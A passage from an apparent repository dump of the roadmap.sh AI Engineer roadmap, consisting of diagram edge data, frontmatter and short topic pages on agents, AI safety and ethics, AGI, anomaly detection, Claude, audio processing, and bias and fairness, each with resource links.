\"id\": \"reactflow__edge-_hYN0gEi9BL24nptEtXWUz2-jSZ1LhPdhlkW-9QJhIvFsy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GN6SnI7RXIeW8JeD-qORW\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"K9EiuFgPBFgeRxY4wxAmb\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-GN6SnI7RXIeW8JeD-qORWw2-K9EiuFgPBFgeRxY4wxAmbx2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"wt_3LocKHpvsnsQdDI7LK\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_hYN0gEi9BL24nptEtXWUx2-wt_3LocKHpvsnsQdDI7LKw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wt_3LocKHpvsnsQdDI7LK\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"d7fzv_ft12EopsQdmEsel\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-wt_3LocKHpvsnsQdDI7LKx2-d7fzv_ft12EopsQdmEselw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"d7fzv_ft12EopsQdmEsel\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"MXqbQGhNM3xpXlMC2ib_6\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-d7fzv_ft12EopsQdmEsely2-MXqbQGhNM3xpXlMC2ib_6z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"d7fzv_ft12EopsQdmEsel\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"1Ga6DbOPc6Crz7ilsZMYy\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-d7fzv_ft12EopsQdmEsely2-1Ga6DbOPc6Crz7ilsZMYyz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"d7fzv_ft12EopsQdmEsel\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"5ShWZl1QUqPwO-NRGN85V\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-d7fzv_ft12EopsQdmEsely2-5ShWZl1QUqPwO-NRGN85Vz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"d7fzv_ft12EopsQdmEsel\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"wr2_2ADvySOUZxzEo1Uw1\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-d7fzv_ft12EopsQdmEselx2-wr2_2ADvySOUZxzEo1Uw1w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wr2_2ADvySOUZxzEo1Uw1\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"zdeuA4GbdBl2DwKgiOA4G\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-wr2_2ADvySOUZxzEo1Uw1x2-zdeuA4GbdBl2DwKgiOA4Gw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zdeuA4GbdBl2DwKgiOA4G\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_bPTciEA1GT1JwfXim19z\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-zdeuA4GbdBl2DwKgiOA4Gz2-_bPTciEA1GT1JwfXim19zy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zdeuA4GbdBl2DwKgiOA4G\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"9-5DYeOnKJq9XvEMWP45A\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-zdeuA4GbdBl2DwKgiOA4Gz2-9-5DYeOnKJq9XvEMWP45Ay1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zdeuA4GbdBl2DwKgiOA4G\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"nyBgEHvUhwF-NANMwkRJW\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-zdeuA4GbdBl2DwKgiOA4Gz2-nyBgEHvUhwF-NANMwkRJWy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zdeuA4GbdBl2DwKgiOA4G\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"nXsjZiJGgFyOO8b0J-E2V\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-zdeuA4GbdBl2DwKgiOA4Gz2-nXsjZiJGgFyOO8b0J-E2Vy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zdeuA4GbdBl2DwKgiOA4G\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"8ndKHDJgL_gYwaXC7XMer\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-zdeuA4GbdBl2DwKgiOA4Gx2-a_3SabylVqzzOyw3tZN5fw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8ndKHDJgL_gYwaXC7XMer\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"a_3SabylVqzzOyw3tZN5f\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-8ndKHDJgL_gYwaXC7XMerx2-a_3SabylVqzzOyw3tZN5fw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"a_3SabylVqzzOyw3tZN5f\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"RBwGsq9DngUsl8PrrCbqx\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-a_3SabylVqzzOyw3tZN5fz2-RBwGsq9DngUsl8PrrCbqxy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"a_3SabylVqzzOyw3tZN5f\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"97eu-XxYUH9pYbD_KjAtA\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-a_3SabylVqzzOyw3tZN5fz2-97eu-XxYUH9pYbD_KjAtAy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"a_3SabylVqzzOyw3tZN5f\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"OZvk1d0XxXwJwbEUYqnFq\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-a_3SabylVqzzOyw3tZN5fx2-OZvk1d0XxXwJwbEUYqnFqw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"OZvk1d0XxXwJwbEUYqnFq\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"--ig0Ume_BnXb9K2U7HJN\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-OZvk1d0XxXwJwbEUYqnFqx2-tt9u3oFlsjEMfPyojuqpcw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"--ig0Ume_BnXb9K2U7HJN\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"4P2Sbyy2cVjOrXH75Hc2b\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tt9u3oFlsjEMfPyojuqpcx2-4P2Sbyy2cVjOrXH75Hc2bw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"--ig0Ume_BnXb9K2U7HJN\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"l6priWeJhbdUD5tJ7uHyG\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge---ig0Ume_BnXb9K2U7HJNy2-tt9u3oFlsjEMfPyojuqpcz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"l6priWeJhbdUD5tJ7uHyG\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"4GArjDYipit4SLqKZAWDf\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tt9u3oFlsjEMfPyojuqpcw2-4GArjDYipit4SLqKZAWDfx2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lVhWhZGR558O-ljHobxIi\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"zK_H4vmJXmyLYu1gVfhYK\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-W7cKPt_UxcUgwp8J6hS4pz2-zK_H4vmJXmyLYu1gVfhYKy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tt9u3oFlsjEMfPyojuqpc\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"lVhWhZGR558O-ljHobxIi\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-tt9u3oFlsjEMfPyojuqpcz2-W7cKPt_UxcUgwp8J6hS4py1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"AeHkNU-uJ_gBdo5-xdpEu\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"k8QYMT_d6EQWDqDgnPYsT\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-W7cKPt_UxcUgwp8J6hS4pz2-k8QYMT_d6EQWDqDgnPYsTy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"W7cKPt_UxcUgwp8J6hS4p\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"sGR9qcro68KrzM8qWxcH8\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-W7cKPt_UxcUgwp8J6hS4py2-sGR9qcro68KrzM8qWxcH8z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KMA7NkxFbPoUDtFnGBFnj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KMA7NkxFbPoUDtFnGBFnjx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"selected\": true,\n      \"type\": \"simplebezier\",\n      \"focusable\": true,\n      \"selectable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/ai-engineer.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/ai-engineer.json'\npdfUrl: '/pdfs/roadmaps/ai-engineer.pdf'\norder: 4\nrenderer: 'editor'\nbriefTitle: 'AI Engineer'\nbriefDescription: 'Step by step guide to becoming an AI Engineer in 2025'\ntitle: 'AI Engineer'\ndescription: 'Step by step guide to becoming an AI Engineer in 2025'\nhasTopics: true\nisNew: false\ndimensions:\n  width: 968\n  height: 3200\nquestion:\n  title: 'What is an AI Engineer?'\n  description: |\n    An AI Engineer uses pre-trained models and existing AI tools to improve user experiences. They focus on applying AI in practical ways, without building models from scratch. This is different from AI Researchers and ML Engineers, who focus more on creating new models or developing AI theory.\nschema:\n  headline: 'AI Engineer Roadmap'\n  description: 'Learn how to become an AI Engineer with this interactive step by step guide in 2023. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/ai-engineer.png'\n  datePublished: '2024-10-03'\n  dateModified: '2024-10-03'\nseo:\n  title: 'AI Engineer Roadmap'\n  description: 'Learn to become an AI Engineer using this roadmap. Community driven, articles, resources, guides, interview questions, quizzes for modern AI development.'\n  keywords:\n    - 'ai engineer roadmap 2024'\n    - 'ai engineer roadmap 2025'\n    - 'guide to becoming an ai engineer'\n    - 'ai engineer roadmap'\n    - 'ai engineer skills'\n    - 'become an ai engineer'\n    - 'ai engineer career path'\n    - 'skills for ai engineer'\n    - 'ai engineer quiz'\n    - 'ai engineer interview questions'\n    - 'ai engineer learning path'\n    - 'how to become ai engineer 2025'\n    - 'ai engineering concepts'\n    - 'ai engineering curriculum'\n    - 'ai engineer future'\n    - 'ai engineer requirements'\n    - 'machine learning engineer roadmap'\n    - 'generative ai engineer'\n    - 'python for ai engineer'\n    - 'cloud ai services 2025'\n    - 'data engineering for ai'\nrelatedRoadmaps:\n  - 'ai-data-scientist'\n  - 'prompt-engineering'\n  - 'data-analyst'\n  - 'python'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/adding-end-user-ids-in-prompts@4Q5x2VCXedAWISBXUIyin.md",
    "content": "# Adding end-user IDs in prompts\n\nSending end-user IDs in your requests can be a useful tool to help OpenAI monitor and detect abuse. This allows OpenAI to provide your team with more actionable feedback in the event that we detect any policy violations in your application.\n\nVisit the following resources to learn more:\n\n- [@official@Sending End-user IDs - OpenAI](https://platform.openai.com/docs/guides/safety-best-practices/end-user-ids)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/agents-usecases@778HsQzTuJ_3c9OSn5DmH.md",
    "content": "# Agents Use Cases\n\nAI Agents have a variety of use cases ranging from customer support, workflow automation, cybersecurity, finance, marketing, and sales, and more.\n\nVisit the following resources to learn more:\n\n- [@article@Top 15 Use Cases Of AI Agents In Business](https://www.ampcome.com/post/15-use-cases-of-ai-agents-in-business)\n- [@article@A Brief Guide on AI Agents: Benefits and Use Cases](https://www.codica.com/blog/brief-guide-on-ai-agents/)\n- [@article@How to Build Effective AI Agents to Process Millions of Requests](https://towardsdatascience.com/how-to-build-effective-ai-agents-to-process-millions-of-requests/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@The Complete Guide to Building AI Agents for Beginners](https://youtu.be/MOyl58VF2ak?si=-QjRD_5y3iViprJX)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/ai-agents@4_ap0rD9Gl6Ep_4jMfPpG.md",
    "content": "# AI Agents\n\nIn AI engineering, \"agents\" refer to autonomous systems or components that can perceive their environment, make decisions, and take actions to achieve specific goals. Agents often interact with external systems, users, or other agents to carry out complex tasks. They can vary in complexity, from simple rule-based bots to sophisticated AI-powered agents that leverage machine learning models, natural language processing, and reinforcement learning.\n\nVisit the following resources to learn more:\n\n- [@article@Building an AI Agent Tutorial - LangChain](https://python.langchain.com/docs/tutorials/agents/)\n- [@article@AI Agents and Their Types](https://play.ht/blog/ai-agents-use-cases/)\n- [@article@How to Design My First AI Agent](https://towardsdatascience.com/how-to-design-my-first-ai-agent/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@The Complete Guide to Building AI Agents for Beginners](https://youtu.be/MOyl58VF2ak?si=-QjRD_5y3iViprJX)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/ai-agents@Uffu609uQbIzDl88Ddccv.md",
    "content": "# AI Agents\n\nIn AI engineering, \"agents\" refer to autonomous systems or components that can perceive their environment, make decisions, and take actions to achieve specific goals. Agents often interact with external systems, users, or other agents to carry out complex tasks. They can vary in complexity, from simple rule-based bots to sophisticated AI-powered agents that leverage machine learning models, natural language processing, and reinforcement learning.\n\nVisit the following resources to learn more:\n\n- [@article@Building an AI Agent Tutorial - LangChain](https://python.langchain.com/docs/tutorials/agents/)\n- [@article@AI Agents and Their Types](https://www.digitalocean.com/resources/articles/types-of-ai-agents)\n- [@video@The Complete Guide to Building AI Agents for Beginners](https://youtu.be/MOyl58VF2ak?si=-QjRD_5y3iViprJX)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/ai-engineer-vs-ml-engineer@jSZ1LhPdhlkW-9QJhIvFs.md",
    "content": "# AI Engineer vs ML Engineer\n\nAn AI Engineer uses pre-trained models and existing AI tools to improve user experiences. They focus on applying AI in practical ways, without building models from scratch. This is different from AI Researchers and ML Engineers, who focus more on creating new models or developing AI theory.\n\nVisit the following resources to learn more:\n\n- [@article@What does an AI Engineer do?](https://www.codecademy.com/resources/blog/what-does-an-ai-engineer-do/)\n- [@article@What is an ML Engineer?](https://www.coursera.org/articles/what-is-machine-learning-engineer)\n- [@article@Machine Learning vs AI Engineer: What Are the Differences?](https://towardsdatascience.com/machine-learning-vs-ai-engineer-no-confusing-jargon/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@AI vs ML](https://www.youtube.com/watch?v=4RixMPF4xis)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/ai-safety-and-ethics@8ndKHDJgL_gYwaXC7XMer.md",
    "content": "# AI Safety and Ethics\n\nAI safety and ethics involve establishing guidelines and best practices to ensure that artificial intelligence systems are developed, deployed, and used in a manner that prioritizes human well-being, fairness, and transparency. This includes addressing risks such as bias, privacy violations, unintended consequences, and ensuring that AI operates reliably and predictably, even in complex environments. Ethical considerations focus on promoting accountability, avoiding discrimination, and aligning AI systems with human values and societal norms. Frameworks like explainability, human-in-the-loop design, and robust monitoring are often used to build systems that not only achieve technical objectives but also uphold ethical standards and mitigate potential harms.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Artificial Intelligence Ethics and Safety](https://www.turing.ac.uk/news/publications/understanding-artificial-intelligence-ethics-and-safety)\n- [@article@The Hidden Security Risks of LLMs](https://towardsdatascience.com/the-hidden-security-risks-of-llms/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@What is AI Ethics?](https://www.youtube.com/watch?v=aGwYtUzMQUk)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/ai-vs-agi@5QdihE1lLpMc3DFrGy46M.md",
    "content": "# AI vs AGI\n\nAI (Artificial Intelligence) refers to systems designed to perform specific tasks by mimicking aspects of human intelligence, such as pattern recognition, decision-making, and language processing. These systems, known as \"narrow AI,\" are highly specialized, excelling in specific areas such as image classification or recommender algorithms but lacking broader cognitive abilities. In contrast, AGI (Artificial General Intelligence) is a theoretical form of intelligence that can understand, learn, and apply knowledge across a wide range of tasks at a human-like level. AGI would have the capacity for abstract thinking, reasoning, and adaptability similar to human cognitive abilities, making it far more versatile than today’s AI systems. While current AI technology is powerful, AGI remains a distant goal and presents complex challenges in safety, ethics, and technical feasibility.\n\nVisit the following resources to learn more:\n\n- [@article@What is AGI?](https://aws.amazon.com/what-is/artificial-general-intelligence/)\n- [@article@The crucial difference between AI and AGI](https://www.forbes.com/sites/bernardmarr/2024/05/20/the-crucial-difference-between-ai-and-agi/)\n- [@article@Stop Worrying about AGI: The Immediate Danger is Reduced General Intelligence (RGI)](https://towardsdatascience.com/stop-worrying-about-agi-the-immediate-danger-is-reduced-general-intelligence-rgi/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/anomaly-detection@AglWJ7gb9rTT2rMkstxtk.md",
    "content": "# Anomaly Detection\n\nAnomaly detection with embeddings works by transforming data, such as text, images, or time-series data, into vector representations that capture their patterns and relationships. In this high-dimensional space, similar data points are positioned close together, while anomalies stand out as those that deviate significantly from the typical distribution. This approach is highly effective for detecting outliers in tasks like fraud detection, network security, and quality control.\n\nVisit the following resources to learn more:\n\n- [@article@Anomaly in Embeddings](https://ai.google.dev/gemini-api/tutorials/anomaly_detection)\n- [@article@Boosting Your Anomaly Detection With LLMs](https://towardsdatascience.com/boosting-your-anomaly-detection-with-llms/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/anthropic-claude@hy6EyKiNxk1x84J63dhez.md",
    "content": "# Anthropic's Claude\n\nAnthropic's Claude is an AI language model designed to facilitate safe and scalable AI systems. Named after Claude Shannon, the father of information theory, Claude focuses on responsible AI use, emphasizing safety, alignment with human intentions, and minimizing harmful outputs.\n\nVisit the following resources to learn more:\n\n- [@course@Claude 101](https://anthropic.skilljar.com/claude-101)\n- [@official@Claude](https://claude.ai)\n- [@video@How To Use Claude Pro For Beginners](https://www.youtube.com/watch?v=J3X_JWQkvo8)\n- [@video@Claude FULL COURSE 1 HOUR (Build & Automate Anything)](https://www.youtube.com/watch?v=KrKhfm2Xuho)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/audio-processing@mxQYB820447DC6kogyZIL.md",
    "content": "# Audio Processing\n\nAudio processing in multimodal AI enables a wide range of use cases by combining sound with other data types, such as text, images, or video, to create more context-aware systems. Use cases include speech recognition paired with real-time transcription and visual analysis in meetings or video conferencing tools, voice-controlled virtual assistants that can interpret commands in conjunction with on-screen visuals, and multimedia content analysis where audio and visual elements are analyzed together for tasks like content moderation or video indexing.\n\nVisit the following resources to learn more:\n\n- [@article@The State of Audio Processing](https://appwrite.io/blog/post/state-of-audio-processing)\n- [@video@Audio Signal Processing for Machine Learning](https://www.youtube.com/watch?v=iCwMQJnKk2c)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/bias-and-fairness@lhIU0ulpvDAn1Xc3ooYz_.md",
    "content": "# Bias and Fairness\n\nBias and fairness in AI refer to the challenges of ensuring that machine learning models do not produce discriminatory or skewed outcomes. Bias can arise from imbalanced training data, flawed assumptions, or biased algorithms, leading to unfair treatment of certain groups based on race, gender, or other factors. Fairness aims to address these issues by developing techniques to detect, mitigate, and prevent biases in AI systems. Ensuring fairness involves improving data diversity, applying fairness constraints during model training, and continuously monitoring models in production to avoid unintended consequences, promoting ethical and equitable AI use.\n\nVisit the following resources to learn more:\n\n- [@article@What Do We Do About the Biases in AI?](https://hbr.org/2019/10/what-do-we-do-about-the-biases-in-ai)\n- [@article@AI Bias - What Is It and How to Avoid It?](https://levity.ai/blog/ai-bias-how-to-avoid)\n- [@article@What about fairness, bias and discrimination?](https://ico.org.uk/for-organisations/uk-gdpr-guidance-and-resources/artificial-intelligence/guidance-on-ai-and-data-protection/how-do-we-ensure-fairness-in-ai/what-about-fairness-bias-and-discrimination/)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/building-an-mcp-client@0Rk0rCbmRFJT2GKwUibQS.md",
